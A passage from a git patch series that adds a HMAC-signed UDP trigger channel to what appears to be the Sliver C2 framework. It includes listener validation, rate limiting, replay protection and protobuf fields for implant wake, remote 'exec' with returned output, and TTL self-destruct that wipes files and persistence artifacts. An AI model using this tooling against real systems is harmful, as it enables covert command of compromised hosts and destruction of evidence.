not allowed" + return processResult{audit: audit} + } + + // 6. Timestamp skew. + msgTime, err := protocol.ParseTimestamp(msg.Timestamp) + if err != nil { + audit.Reason = fmt.Sprintf("timestamp parse failed: %v", err) + return processResult{audit: audit} + } + skew := now.Sub(msgTime) + if skew < 0 { + skew = -skew + } + if skew > l.cfg.MaxClockSkew { + audit.Reason = fmt.Sprintf("clock skew too large: %s", skew) + return processResult{audit: audit} + } + + // 7. HMAC verify. After this, client_id is authenticated. + // Per-client key resolution: keyring lookup → strict-mode reject + // if client_id has no registered key (no fallback default). + secret, ok := l.cfg.Keyring.SecretFor(msg.ClientID) + if !ok { + audit.Reason = "no key registered for client" + return processResult{audit: audit} + } + verified, err := protocol.Verify(msg, string(secret)) + if err != nil { + audit.Reason = fmt.Sprintf("signature verification error: %v", err) + return processResult{audit: audit} + } + if !verified { + audit.Reason = "signature verification failed" + return processResult{audit: audit} + } + + // 8. Replay uniqueness. + if !l.replay.markIfNew(msg.Nonce, now) { + audit.Reason = "replay detected or replay cache full" + return processResult{audit: audit} + } + + // 9. Per-(client_id, source_ip) rate limit. AFTER HMAC: the tuple + // is cryptographically authenticated, so an attacker can't + // target a specific operator by spoofing. + rateKey := msg.ClientID + "@" + pkt.sourceIP + if !l.keyedRate.allow(rateKey, now) { + audit.Reason = "per-client rate limit exceeded" + return processResult{audit: audit} + } + + return processResult{ + audit: audit, + event: &intents.Event{ + Intent: msg.Intent, + ClientID: msg.ClientID, + SourceIP: pkt.sourceIP, + Nonce: msg.Nonce, + Timestamp: msgTime, + }, + } +} + +// setMember returns true if allowlist is empty (allow-all) or if key +// is present. Matches the original main.go semantics. +func setMember(key string, allowlist map[string]struct{}) bool { + if len(allowlist) == 0 { + return true + } + _, ok := allowlist[key] + return ok +} + +// emit fans the event out to the configured sink. Centralizes the +// nil-check so callers don't have to. +func (l *Listener) emit(evt AuditEvent) { + if l.cfg.Sink == nil { + return + } + l.cfg.Sink.Emit(evt) +} diff --git a/vendor/github.com/0x90pkt/trigger/pkg/listener/ratelimit.go b/vendor/github.com/0x90pkt/trigger/pkg/listener/ratelimit.go new file mode 100644 index 0000000000..b7ed537364 --- /dev/null +++ b/vendor/github.com/0x90pkt/trigger/pkg/listener/ratelimit.go @@ -0,0 +1,125 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package listener + +import ( + "sync" + "time" +) + +// globalRateLimiter applies a single packets-per-second cap across the +// whole listener. It is the pre-parse cheap reject that protects the +// worker pool from a UDP flood — applied BEFORE HMAC verification so a +// cost-cheap reject path exists for the highest-rate attacker. +// +// Single counter, reset on every second-boundary. No per-source state +// here — that's globalRateLimiter's whole point. The post-HMAC keyed +// limiter (keyedRateLimiter below) handles per-client fairness. +type globalRateLimiter struct { + mu sync.Mutex + limit int + bucket int64 + count int +} + +func newGlobalRateLimiter(perSecond int) *globalRateLimiter { + return &globalRateLimiter{limit: perSecond} +} + +// allow returns true if the global packets-per-second budget is not +// yet exhausted; false if exhausted (caller should drop the packet). +func (r *globalRateLimiter) allow(now time.Time) bool { + r.mu.Lock() + defer r.mu.Unlock() + bucket := now.Unix() + if bucket != r.bucket { + r.bucket = bucket + r.count = 1 + return true + } + if r.count >= r.limit { + return false + } + r.count++ + return true +} + +// keyedRateLimiter applies a per-key requests-per-minute cap. Keys are +// opaque strings — used for `client_id:source_ip` composite keys AFTER +// HMAC verification (Wave-2: client_id is now authenticated, so the +// composite can't be spoofed without the key). +// +// Bounded by maxEntries. When the map is full and a new key arrives, +// the limiter first sweeps stale buckets (older than 2 minutes). If +// still full after sweep, the new request is rejected — better to fail +// the new caller than to silently evict a legitimate one that is being +// rate-limited correctly. +type keyedRateLimiter struct { + mu sync.Mutex + limit int + maxEntries int + state map[string]rateCounter +} + +type rateCounter struct { + minuteBucket int64 + count int +} + +func newKeyedRateLimiter(perMinute, maxEntries int) *keyedRateLimiter { + return &keyedRateLimiter{ + limit: perMinute, + maxEntries: maxEntries, + state: make(map[string]rateCounter), + } +} + +// allow returns true if key is under its per-minute limit. If the map +// is at capacity and key is new, sweep first; if still at capacity, +// reject with `false` (treated as rate-limited). +func (r *keyedRateLimiter) allow(key string, now time.Time) bool { + r.mu.Lock() + defer r.mu.Unlock() + + bucket := now.Unix() / 60 + existing, ok := r.state[key] + if ok { + if existing.minuteBucket != bucket { + r.state[key] = rateCounter{minuteBucket: bucket, count: 1} + return true + } + if existing.count >= r.limit { + return false + } + existing.count++ + r.state[key] = existing + return true + } + + // New key. Enforce cap. + if len(r.state) >= r.maxEntries { + r.sweepStaleLocked(bucket) + if len(r.state) >= r.maxEntries { + return false + } + } + r.state[key] = rateCounter{minuteBucket: bucket, count: 1} + return true +} + +// sweepStaleLocked removes entries whose bucket is more than one +// minute behind `now`. Caller must hold r.mu. +func (r *keyedRateLimiter) sweepStaleLocked(nowBucket int64) { + for k, v := range r.state { + if nowBucket-v.minuteBucket > 1 { + delete(r.state, k) + } + } +} + +// size returns the number of tracked keys (test/diagnostic). +func (r *keyedRateLimiter) size() int { + r.mu.Lock() + defer r.mu.Unlock() + return len(r.state) +} diff --git a/vendor/github.com/0x90pkt/trigger/pkg/listener/replay.go b/vendor/github.com/0x90pkt/trigger/pkg/listener/replay.go new file mode 100644 index 0000000000..b313ccc1f7 --- /dev/null +++ b/vendor/github.com/0x90pkt/trigger/pkg/listener/replay.go @@ -0,0 +1,71 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package listener + +import ( + "sync" + "time" +) + +// replayGuard tracks recently-seen nonces to defeat replay attacks. +// Entries auto-expire after a configured TTL. MarkIfNew is the only +// mutator: it returns true on first observation and false on replay. +// +// Bounded by maxEntries. When the map is full and a new nonce arrives, +// the guard first sweeps expired entries. If still full after sweep, +// the new request is rejected — refusing to lose replay protection by +// silent eviction. Operators see "replay cache full" in the audit log +// and can raise the cap or investigate. +// +// Only verified-HMAC packets reach the replay guard (it runs at step +// 8 in the validation pipeline, after HMAC verify at step 7). Filling +// the cache requires the attacker to already hold the shared secret, +// at which point capacity DoS is the least of your problems. +type replayGuard struct { + mu sync.Mutex + ttl time.Duration + maxEntries int + seen map[string]time.Time +} + +func newReplayGuard(ttl time.Duration, maxEntries int) *replayGuard { + return &replayGuard{ + ttl: ttl, + maxEntries: maxEntries, + seen: make(map[string]time.Time), + } +} + +// markIfNew records nonce with an expiry of now+ttl if unseen; returns +// false if nonce was already observed within the TTL window OR if the +// cache is full and contains no expired entries to evict. +func (r *replayGuard) markIfNew(nonce string, now time.Time) bool { + r.mu.Lock() + defer r.mu.Unlock() + + // Opportunistic sweep of expired entries FIRST so a previously-seen + // nonce can be re-accepted after its TTL window closes. + for k, exp := range r.seen { + if now.After(exp) { + delete(r.seen, k) + } + } + + if _, exists := r.seen[nonce]; exists { + return false + } + + if len(r.seen) >= r.maxEntries { + return false // cap reached with all live entries; refuse rather than silently lose replay protection. + } + + r.seen[nonce] = now.Add(r.ttl) + return true +} + +// size returns the current number of tracked entries (test/diagnostic). +func (r *replayGuard) size() int { + r.mu.Lock() + defer r.mu.Unlock() + return len(r.seen) +} diff --git a/vendor/github.com/0x90pkt/trigger/pkg/protocol/protocol.go b/vendor/github.com/0x90pkt/trigger/pkg/protocol/protocol.go new file mode 100644 index 0000000000..48d6511a58 --- /dev/null +++ b/vendor/github.com/0x90pkt/trigger/pkg/protocol/protocol.go @@ -0,0 +1,327 @@ +// SPDX-License-Identifier: GPL-3.0-or-later +// +// Package protocol defines the wire format and HMAC signing for the +// trigger protocol. It is import-safe from both server and client code +// and has no transport or I/O dependencies. +// +// Wire format is JSON-over-UDP. The canonical signable payload is the +// JSON encoding of a map containing the fields {version, client_id, +// nonce, timestamp, intent} in Go's deterministic alphabetical key +// order. The HMAC-SHA256 of that payload is hex-encoded and attached +// as the "signature" field of the wire message. +package protocol + +import ( + "crypto/hmac" + "crypto/rand" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "time" +) + +// ProtocolVersion is the current wire-protocol version. Any change to +// the canonical signable layout, field set, or HMAC scheme MUST bump +// this constant — receivers reject unknown versions outright. +const ProtocolVersion = 1 + +// Bounds enforced by ValidateStructure. Tight enough to keep the wire +// format compact and reject obvious abuse; loose enough that operators +// don't trip over them by accident. +const ( + NonceMinLength = 16 + SignatureHexLength = 64 + ClientIDMaxLength = 128 + IntentMaxLength = 128 +) + +// TriggerMessage is the on-wire structure operators send. +type TriggerMessage struct { + Version int `json:"version"` + ClientID string `json:"client_id"` + Nonce string `json:"nonce"` + Timestamp string `json:"timestamp"` + Intent string `json:"intent"` + Payload string `json:"payload,omitempty"` // command/data for bidirectional intents (e.g. exec) + Signature string `json:"signature,omitempty"` +} + +// TriggerResponse is the on-wire structure implants send back for +// bidirectional intents (e.g. exec). The response is signed with the +// same HMAC secret and includes the original request nonce for +// correlation. +type TriggerResponse struct { + Version int `json:"version"` + Type string `json:"type"` // always "response" + RequestNonce string `json:"request_nonce"` // correlates to the original TriggerMessage.Nonce + ClientID string `json:"client_id"` // implant identifier + Nonce string `json:"nonce"` // unique response nonce + Timestamp string `json:"timestamp"` + ExitCode int `json:"exit_code"` + Output string `json:"output"` // stdout+stderr from the executed command + Error string `json:"error,omitempty"` // execution error, if any + Signature string `json:"signature,omitempty"` +} + +// ResponseType is the constant value for TriggerResponse.Type. +const ResponseType = "response" + +// SignResponse computes the HMAC-SHA256 signature for a TriggerResponse. +func SignResponse(resp TriggerResponse, sharedSecret string) (string, error) { + if sharedSecret == "" { + return "", errors.New("shared secret must be set") + } + body, err := canonicalResponseJSON(resp) + if err != nil { + return "", err + } + mac := hmac.New(sha256.New, []byte(sharedSecret)) + if _, err := mac.Write(body); err != nil { + return "", fmt.Errorf("failed computing hmac: %w", err) + } + return hex.EncodeToString(mac.Sum(nil)), nil +} + +// VerifyResponse verifies a TriggerResponse signature. +func VerifyResponse(resp TriggerResponse, sharedSecret string) (bool, error) { + if resp.Signature == "" { + return false, nil + } + expected, err := SignResponse(resp, sharedSecret) + if err != nil { + return false, err + } + return hmac.Equal([]byte(expected), []byte(resp.Signature)), nil +} + +// EncodeResponse marshals a TriggerResponse to wire-format JSON. +func EncodeResponse(resp TriggerResponse) ([]byte, error) { + b, err := json.Marshal(resp) + if err != nil { + return nil, fmt.Errorf("failed marshaling response: %w", err) + } + return b, nil +} + +// DecodeResponse parses raw bytes as a TriggerResponse. +func DecodeResponse(raw []byte) (TriggerResponse, error) { + var resp TriggerResponse + if err := json.Unmarshal(raw, &resp); err != nil { + return TriggerResponse{}, fmt.Errorf("invalid JSON response: %w", err) + } + if resp.Type != ResponseType { + return TriggerResponse{}, fmt.Errorf("expected type %q, got %q", ResponseType, resp.Type) + } + return resp, nil +} + +// IsResponse peeks at raw JSON to check if it's a response frame +// (has "type":"response"). This lets a listener distinguish between +// inbound trigger messages and response frames on the same port. +func IsResponse(raw []byte) bool { + var peek struct { + Type string `json:"type"` + } + if err := json.Unmarshal(raw, &peek); err != nil { + return false + } + return peek.Type == ResponseType +} + +func canonicalResponseJSON(resp TriggerResponse) ([]byte, error) { + payload := map[string]interface{}{ + "version": resp.Version, + "type": resp.Type, + "request_nonce": resp.RequestNonce, + "client_id": resp.ClientID, + "nonce": resp.Nonce, + "timestamp": resp.Timestamp, + "exit_code": resp.ExitCode, + "output": resp.Output, + "error": resp.Error, + } + b, err := json.Marshal(payload) + if err != nil { + return nil, fmt.Errorf("failed marshaling response signable payload: %w", err) + } + return b, nil +} + +// NowUTC returns the current UTC time formatted to RFC3339 nanoseconds. +// All on-wire timestamps use this format. +func NowUTC() string { + return time.Now().UTC().Format(time.RFC3339Nano) +} + +// ParseTimestamp parses an RFC3339Nano timestamp and converts to UTC. +func ParseTimestamp(ts string) (time.Time, error) { + parsed, err := time.Parse(time.RFC3339Nano, ts) + if err != nil { + return time.Time{}, fmt.Errorf("invalid RFC3339 timestamp: %w", err) + } + return parsed.UTC(), nil +} + +// GenerateNonce returns a 16-byte cryptographically random nonce, +// hex-encoded to a 32-character string. +func GenerateNonce() (string, error) { + nonce := make([]byte, 16) + if _, err := rand.Read(nonce); err != nil { + return "", fmt.Errorf("failed generating nonce: %w", err) + } + return hex.EncodeToString(nonce), nil +} + +func isHexString(value string) bool { + if value == "" { + return false + } + for _, r := range value { + switch { + case r >= '0' && r <= '9': + case r >= 'a' && r <= 'f': + case r >= 'A' && r <= 'F': + default: + return false + } + } + return true +} + +func validateSignature(signature string) error { + if len(signature) != SignatureHexLength || !isHexString(signature) { + return fmt.Errorf("signature must be a %d-character hex digest", SignatureHexLength) + } + return nil +} + +// ValidateStructure checks every field of a TriggerMessage against the +// protocol's structural constraints. It does NOT verify the signature +// or check the timestamp against wall-clock skew — those are caller +// responsibilities. +func ValidateStructure(msg TriggerMessage) error { + if msg.Version != ProtocolVersion { + return fmt.Errorf("unsupported version %d, expected %d", msg.Version, ProtocolVersion) + } + if msg.ClientID == "" { + return errors.New("client_id must be set") + } + if len(msg.ClientID) > ClientIDMaxLength { + return fmt.Errorf("client_id must be at most %d characters", ClientIDMaxLength) + } + if len(msg.Nonce) < NonceMinLength { + return fmt.Errorf("nonce must be at least %d characters", NonceMinLength) + } + if !isHexString(msg.Nonce) { + return errors.New("nonce must be hexadecimal") + } + if msg.Intent == "" { + return errors.New("intent must be set") + } + if len(msg.Intent) > IntentMaxLength { + return fmt.Errorf("intent must be at most %d characters", IntentMaxLength) + } + if msg.Timestamp == "" { + return errors.New("timestamp must be set") + } + if _, err := ParseTimestamp(msg.Timestamp); err != nil { + return err + } + if msg.Signature != "" { + if err := validateSignature(msg.Signature); err != nil { + return err + } + } + return nil +} + +// canonicalSignableJSON returns the deterministic JSON payload used as +// the HMAC input. Go's json.Marshal on a map emits keys in alphabetical +// order, which is the cross-language contract: any other implementation +// of this protocol MUST emit the same byte sequence for the same input. +func canonicalSignableJSON(msg TriggerMessage) ([]byte, error) { + payload := map[string]interface{}{ + "version": msg.Version, + "client_id": msg.ClientID, + "nonce": msg.Nonce, + "timestamp": msg.Timestamp, + "intent": msg.Intent, + } + // Include payload in HMAC computation only when set, so existing + // wake/self-destruct packets remain signature-compatible. + if msg.Payload != "" { + payload["payload"] = msg.Payload + } + b, err := json.Marshal(payload) + if err != nil { + return nil, fmt.Errorf("failed marshaling signable payload: %w", err) + } + return b, nil +} + +// Sign computes the HMAC-SHA256 signature over the canonical signable +// JSON of msg, using sharedSecret as the key. The returned signature is +// hex-encoded. The msg's existing Signature field is ignored. +func Sign(msg TriggerMessage, sharedSecret string) (string, error) { + if sharedSecret == "" { + return "", errors.New("shared secret must be set") + } + if err := ValidateStructure(msg); err != nil { + return "", err + } + + body, err := canonicalSignableJSON(msg) + if err != nil { + return "", err + } + + mac := hmac.New(sha256.New, []byte(sharedSecret)) + if _, err := mac.Write(body); err != nil { + return "", fmt.Errorf("failed computing hmac: %w", err) + } + return hex.EncodeToString(mac.Sum(nil)), nil +} + +// Verify recomputes the expected signature for msg using sharedSecret +// and compares it to msg.Signature in constant time. Returns false +// without error if Signature is empty. +func Verify(msg TriggerMessage, sharedSecret string) (bool, error) { + if msg.Signature == "" { + return false, nil + } + expected, err := Sign(msg, sharedSecret) + if err != nil { + return false, err + } + return hmac.Equal([]byte(expected), []byte(msg.Signature)), nil +} + +// EncodeWire returns the on-wire JSON encoding of msg, validating +// structure first. +func EncodeWire(msg TriggerMessage) ([]byte, error) { + if err := ValidateStructure(msg); err != nil { + return nil, err + } + b, err := json.Marshal(msg) + if err != nil { + return nil, fmt.Errorf("failed marshaling message: %w", err) + } + return b, nil +} + +// DecodeWire parses raw bytes as a TriggerMessage and validates the +// structure. The signature, if present, is NOT verified here — call +// Verify separately so the caller controls when HMAC compute happens +// in the validation pipeline. +func DecodeWire(raw []byte) (TriggerMessage, error) { + var msg TriggerMessage + if err := json.Unmarshal(raw, &msg); err != nil { + return TriggerMessage{}, fmt.Errorf("invalid JSON payload: %w", err) + } + if err := ValidateStructure(msg); err != nil { + return TriggerMessage{}, err + } + return msg, nil +} diff --git a/vendor/modules.txt b/vendor/modules.txt index 8eff96a1e5..5b39c58b5d 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -124,6 +124,13 @@ firebase.google.com/go/v4/internal firebase.google.com/go/v4/messaging firebase.google.com/go/v4/remoteconfig firebase.google.com/go/v4/storage +# github.com/0x90pkt/trigger v0.1.0 +## explicit; go 1.22 +github.com/0x90pkt/trigger/pkg/auth +github.com/0x90pkt/trigger/pkg/intents +github.com/0x90pkt/trigger/pkg/intents/handlers +github.com/0x90pkt/trigger/pkg/listener +github.com/0x90pkt/trigger/pkg/protocol # github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb ## explicit; go 1.16 github.com/Binject/binjection/bj From 0b4678de421c0a04456a4f9eea4761860328bbd2 Mon Sep 17 00:00:00 2001 From: 0x90pkt <91637660+0x90pkt@users.noreply.github.com> Date: Mon, 1 Jun 2026 23:52:48 -0400 Subject: [PATCH 2/7] proto: add trigger C2 messages and RPC service methods - TriggerListenerReq/TriggerListenerJob for listener lifecycle - TriggerFireReq/TriggerFireResp for bidirectional exec - TriggerDispatchTaskReq for server-side task dispatch - TriggerIntentBinding oneof for task configuration - ImplantConfig fields: IncludeTriggerWake, TriggerWakeBindAddr, TriggerWakeSecret, TriggerWakeAllowedClientIDs, TTL fields - Four new gRPC methods: TriggerListener, TriggerFire, TriggerDispatchTask, TriggerListenerStop --- protobuf/clientpb/client.pb.go | 5426 +++++++++++++++++++--------- protobuf/clientpb/client.proto | 200 + protobuf/rpcpb/services.pb.go | 1614 ++++++--- protobuf/rpcpb/services.proto | 6 + protobuf/rpcpb/services_grpc.pb.go | 876 +++-- 5 files changed, 5682 insertions(+), 2440 deletions(-) diff --git a/protobuf/clientpb/client.pb.go b/protobuf/clientpb/client.pb.go index f5457a71ff..f3394e910f 100644 --- a/protobuf/clientpb/client.pb.go +++ b/protobuf/clientpb/client.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.36.11 -// protoc v7.34.1 +// protoc-gen-go v1.36.5 +// protoc v3.21.12 // source: clientpb/client.proto package clientpb @@ -2483,8 +2483,51 @@ type ImplantConfig struct { TrafficEncoders []string `protobuf:"bytes,153,rep,name=TrafficEncoders,proto3" json:"TrafficEncoders,omitempty"` Extension string `protobuf:"bytes,154,opt,name=Extension,proto3" json:"Extension,omitempty"` Assets []*commonpb.File `protobuf:"bytes,200,rep,name=Assets,proto3" json:"Assets,omitempty"` - unknownFields protoimpl.UnknownFields - sizeCache protoimpl.SizeCache + // [ Trigger / Wake / TTL ] -------------------------------------- + // + // Optional implant features for the trigger-via-standalone Phase 2 + // integration. All disabled by default (zero-value semantics). + // + // IncludeTriggerWake gates the implant/sliver/transports/triggerwake/ + // package via Sliver's template directive system. When true at + // build time, the implant starts a passive UDP listener that + // accepts HMAC-signed "wake" and "self-destruct" tasks. + IncludeTriggerWake bool `protobuf:"varint,201,opt,name=IncludeTriggerWake,proto3" json:"IncludeTriggerWake,omitempty"` + // TriggerWakeBindAddr is the host:port the implant listens on. + TriggerWakeBindAddr string `protobuf:"bytes,202,opt,name=TriggerWakeBindAddr,proto3" json:"TriggerWakeBindAddr,omitempty"` + // TriggerWakeSecret is the HMAC-SHA256 key the implant uses to + // verify incoming triggers. Generate one per implant; don't reuse + // across deployments. + TriggerWakeSecret []byte `protobuf:"bytes,203,opt,name=TriggerWakeSecret,proto3" json:"TriggerWakeSecret,omitempty"` + // TriggerWakeAllowedClientIDs, if non-empty, restricts which + // client_id values the implant accepts. Empty = any signed client. + TriggerWakeAllowedClientIDs []string `protobuf:"bytes,204,rep,name=TriggerWakeAllowedClientIDs,proto3" json:"TriggerWakeAllowedClientIDs,omitempty"` + // TTLEnabled activates the implant's built-in expiry timer. When + // true, the implant runs a ticker that compares the current time + // against TTLExpiresAtUnix and self-destructs (via implant/sliver/ + // burn) when the deadline passes. Independent of any operator- + // fired self-destruct trigger. + TTLEnabled bool `protobuf:"varint,205,opt,name=TTLEnabled,proto3" json:"TTLEnabled,omitempty"` + // TTLExpiresAtUnix is the absolute deadline as a Unix timestamp + // (seconds since epoch). Populated by server/generate at build + // time as (build_time + TTLMinutes * 60). The implant treats this + // as opaque — it just compares to time.Now().Unix(). + TTLExpiresAtUnix int64 `protobuf:"varint,206,opt,name=TTLExpiresAtUnix,proto3" json:"TTLExpiresAtUnix,omitempty"` + // TTLMinutes is the build-time-configured lifetime in minutes. + // 30 days default = 43200. Kept in proto for audit/operator + // visibility — the implant only ever reads TTLExpiresAtUnix. + TTLMinutes uint32 `protobuf:"varint,207,opt,name=TTLMinutes,proto3" json:"TTLMinutes,omitempty"` + // TTLBurnExtraPaths is the operator-supplied list of filesystem + // paths the implant will wipe on self-destruct (TTL expiry OR + // operator-fired). Typically: scratch dirs, drop files, cached + // audit logs the implant wrote during its lifetime. + TTLBurnExtraPaths []string `protobuf:"bytes,208,rep,name=TTLBurnExtraPaths,proto3" json:"TTLBurnExtraPaths,omitempty"` + // TTLBurnPersistence is the operator-supplied list of platform- + // specific persistence artifact paths to scrub on self-destruct + // (systemd unit paths, launchd plists, registry keys, etc.). + TTLBurnPersistence []string `protobuf:"bytes,209,rep,name=TTLBurnPersistence,proto3" json:"TTLBurnPersistence,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *ImplantConfig) Reset() { @@ -2867,6 +2910,69 @@ func (x *ImplantConfig) GetAssets() []*commonpb.File { return nil } +func (x *ImplantConfig) GetIncludeTriggerWake() bool { + if x != nil { + return x.IncludeTriggerWake + } + return false +} + +func (x *ImplantConfig) GetTriggerWakeBindAddr() string { + if x != nil { + return x.TriggerWakeBindAddr + } + return "" +} + +func (x *ImplantConfig) GetTriggerWakeSecret() []byte { + if x != nil { + return x.TriggerWakeSecret + } + return nil +} + +func (x *ImplantConfig) GetTriggerWakeAllowedClientIDs() []string { + if x != nil { + return x.TriggerWakeAllowedClientIDs + } + return nil +} + +func (x *ImplantConfig) GetTTLEnabled() bool { + if x != nil { + return x.TTLEnabled + } + return false +} + +func (x *ImplantConfig) GetTTLExpiresAtUnix() int64 { + if x != nil { + return x.TTLExpiresAtUnix + } + return 0 +} + +func (x *ImplantConfig) GetTTLMinutes() uint32 { + if x != nil { + return x.TTLMinutes + } + return 0 +} + +func (x *ImplantConfig) GetTTLBurnExtraPaths() []string { + if x != nil { + return x.TTLBurnExtraPaths + } + return nil +} + +func (x *ImplantConfig) GetTTLBurnPersistence() []string { + if x != nil { + return x.TTLBurnPersistence + } + return nil +} + type SpoofMetadataFile struct { state protoimpl.MessageState `protogen:"open.v1"` Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` @@ -4945,6 +5051,7 @@ type ListenerJob struct { HTTPConf *HTTPListenerReq `protobuf:"bytes,7,opt,name=HTTPConf,proto3" json:"HTTPConf,omitempty"` MultiConf *MultiplayerListenerReq `protobuf:"bytes,8,opt,name=MultiConf,proto3" json:"MultiConf,omitempty"` TCPConf *StagerListenerReq `protobuf:"bytes,9,opt,name=TCPConf,proto3" json:"TCPConf,omitempty"` + TriggerConf *TriggerListenerReq `protobuf:"bytes,10,opt,name=TriggerConf,proto3" json:"TriggerConf,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } @@ -5042,6 +5149,13 @@ func (x *ListenerJob) GetTCPConf() *StagerListenerReq { return nil } +func (x *ListenerJob) GetTriggerConf() *TriggerListenerReq { + if x != nil { + return x.TriggerConf + } + return nil +} + type MultiplayerListenerReq struct { state protoimpl.MessageState `protogen:"open.v1"` Host string `protobuf:"bytes,1,opt,name=Host,proto3" json:"Host,omitempty"` @@ -12934,1555 +13048,3550 @@ func (x *CertificateAuthorityInfo) GetInfo() []*CertificateAuthorityData { return nil } -var File_clientpb_client_proto protoreflect.FileDescriptor +type WakeBeaconConfig struct { + state protoimpl.MessageState `protogen:"open.v1"` + // BeaconID (UUID string) of the beacon whose NextCheckin should be + // updated when the trigger fires. + BeaconID string `protobuf:"bytes,1,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} -const file_clientpb_client_proto_rawDesc = "" + - "\n" + - "\x15clientpb/client.proto\x12\bclientpb\x1a\x15commonpb/common.proto\"\xbd\x01\n" + - "\aVersion\x12\x14\n" + - "\x05Major\x18\x01 \x01(\x05R\x05Major\x12\x14\n" + - "\x05Minor\x18\x02 \x01(\x05R\x05Minor\x12\x14\n" + - "\x05Patch\x18\x03 \x01(\x05R\x05Patch\x12\x16\n" + - "\x06Commit\x18\x04 \x01(\tR\x06Commit\x12\x14\n" + - "\x05Dirty\x18\x05 \x01(\bR\x05Dirty\x12\x1e\n" + - "\n" + - "CompiledAt\x18\x06 \x01(\x03R\n" + - "CompiledAt\x12\x0e\n" + - "\x02OS\x18\a \x01(\tR\x02OS\x12\x12\n" + - "\x04Arch\x18\b \x01(\tR\x04Arch\";\n" + - "\rClientLogData\x12\x16\n" + - "\x06Stream\x18\x01 \x01(\tR\x06Stream\x12\x12\n" + - "\x04Data\x18\x02 \x01(\fR\x04Data\"\xb1\x05\n" + - "\aSession\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x12\n" + - "\x04Name\x18\x02 \x01(\tR\x04Name\x12\x1a\n" + - "\bHostname\x18\x03 \x01(\tR\bHostname\x12\x12\n" + - "\x04UUID\x18\x04 \x01(\tR\x04UUID\x12\x1a\n" + - "\bUsername\x18\x05 \x01(\tR\bUsername\x12\x10\n" + - "\x03UID\x18\x06 \x01(\tR\x03UID\x12\x10\n" + - "\x03GID\x18\a \x01(\tR\x03GID\x12\x0e\n" + - "\x02OS\x18\b \x01(\tR\x02OS\x12\x12\n" + - "\x04Arch\x18\t \x01(\tR\x04Arch\x12\x1c\n" + - "\tTransport\x18\n" + - " \x01(\tR\tTransport\x12$\n" + - "\rRemoteAddress\x18\v \x01(\tR\rRemoteAddress\x12\x10\n" + - "\x03PID\x18\f \x01(\x05R\x03PID\x12\x1a\n" + - "\bFilename\x18\r \x01(\tR\bFilename\x12 \n" + - "\vLastCheckin\x18\x0e \x01(\x03R\vLastCheckin\x12\x1a\n" + - "\bActiveC2\x18\x0f \x01(\tR\bActiveC2\x12\x18\n" + - "\aVersion\x18\x10 \x01(\tR\aVersion\x12\x18\n" + - "\aEvasion\x18\x11 \x01(\bR\aEvasion\x12\x16\n" + - "\x06IsDead\x18\x12 \x01(\bR\x06IsDead\x12,\n" + - "\x11ReconnectInterval\x18\x13 \x01(\x03R\x11ReconnectInterval\x12\x1a\n" + - "\bProxyURL\x18\x14 \x01(\tR\bProxyURL\x12\x16\n" + - "\x06Burned\x18\x16 \x01(\bR\x06Burned\x12\x1e\n" + - "\n" + - "Extensions\x18\x17 \x03(\tR\n" + - "Extensions\x12\x16\n" + - "\x06PeerID\x18\x19 \x01(\x03R\x06PeerID\x12\x16\n" + - "\x06Locale\x18\x1a \x01(\tR\x06Locale\x12\"\n" + - "\fFirstContact\x18\x1b \x01(\x03R\fFirstContact\x12\x1c\n" + - "\tIntegrity\x18\x1c \x01(\tR\tIntegrity\"\xa0\x06\n" + - "\x06Beacon\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x12\n" + - "\x04Name\x18\x02 \x01(\tR\x04Name\x12\x1a\n" + - "\bHostname\x18\x03 \x01(\tR\bHostname\x12\x12\n" + - "\x04UUID\x18\x04 \x01(\tR\x04UUID\x12\x1a\n" + - "\bUsername\x18\x05 \x01(\tR\bUsername\x12\x10\n" + - "\x03UID\x18\x06 \x01(\tR\x03UID\x12\x10\n" + - "\x03GID\x18\a \x01(\tR\x03GID\x12\x0e\n" + - "\x02OS\x18\b \x01(\tR\x02OS\x12\x12\n" + - "\x04Arch\x18\t \x01(\tR\x04Arch\x12\x1c\n" + - "\tTransport\x18\n" + - " \x01(\tR\tTransport\x12$\n" + - "\rRemoteAddress\x18\v \x01(\tR\rRemoteAddress\x12\x10\n" + - "\x03PID\x18\f \x01(\x05R\x03PID\x12\x1a\n" + - "\bFilename\x18\r \x01(\tR\bFilename\x12 \n" + - "\vLastCheckin\x18\x0e \x01(\x03R\vLastCheckin\x12\x1a\n" + - "\bActiveC2\x18\x0f \x01(\tR\bActiveC2\x12\x18\n" + - "\aVersion\x18\x10 \x01(\tR\aVersion\x12\x18\n" + - "\aEvasion\x18\x11 \x01(\bR\aEvasion\x12\x16\n" + - "\x06IsDead\x18\x12 \x01(\bR\x06IsDead\x12\x1a\n" + - "\bProxyURL\x18\x14 \x01(\tR\bProxyURL\x12,\n" + - "\x11ReconnectInterval\x18\x15 \x01(\x03R\x11ReconnectInterval\x12\x1a\n" + - "\bInterval\x18\x16 \x01(\x03R\bInterval\x12\x16\n" + - "\x06Jitter\x18\x17 \x01(\x03R\x06Jitter\x12\x16\n" + - "\x06Burned\x18\x18 \x01(\bR\x06Burned\x12 \n" + - "\vNextCheckin\x18\x19 \x01(\x03R\vNextCheckin\x12\x1e\n" + - "\n" + - "TasksCount\x18\x1a \x01(\x03R\n" + - "TasksCount\x120\n" + - "\x13TasksCountCompleted\x18\x1b \x01(\x03R\x13TasksCountCompleted\x12\x16\n" + - "\x06Locale\x18\x1c \x01(\tR\x06Locale\x12\"\n" + - "\fFirstContact\x18\x1d \x01(\x03R\fFirstContact\x12\x1c\n" + - "\tIntegrity\x18\x1e \x01(\tR\tIntegrity\"5\n" + - "\aBeacons\x12*\n" + - "\aBeacons\x18\x02 \x03(\v2\x10.clientpb.BeaconR\aBeacons\"\xfe\x01\n" + - "\n" + - 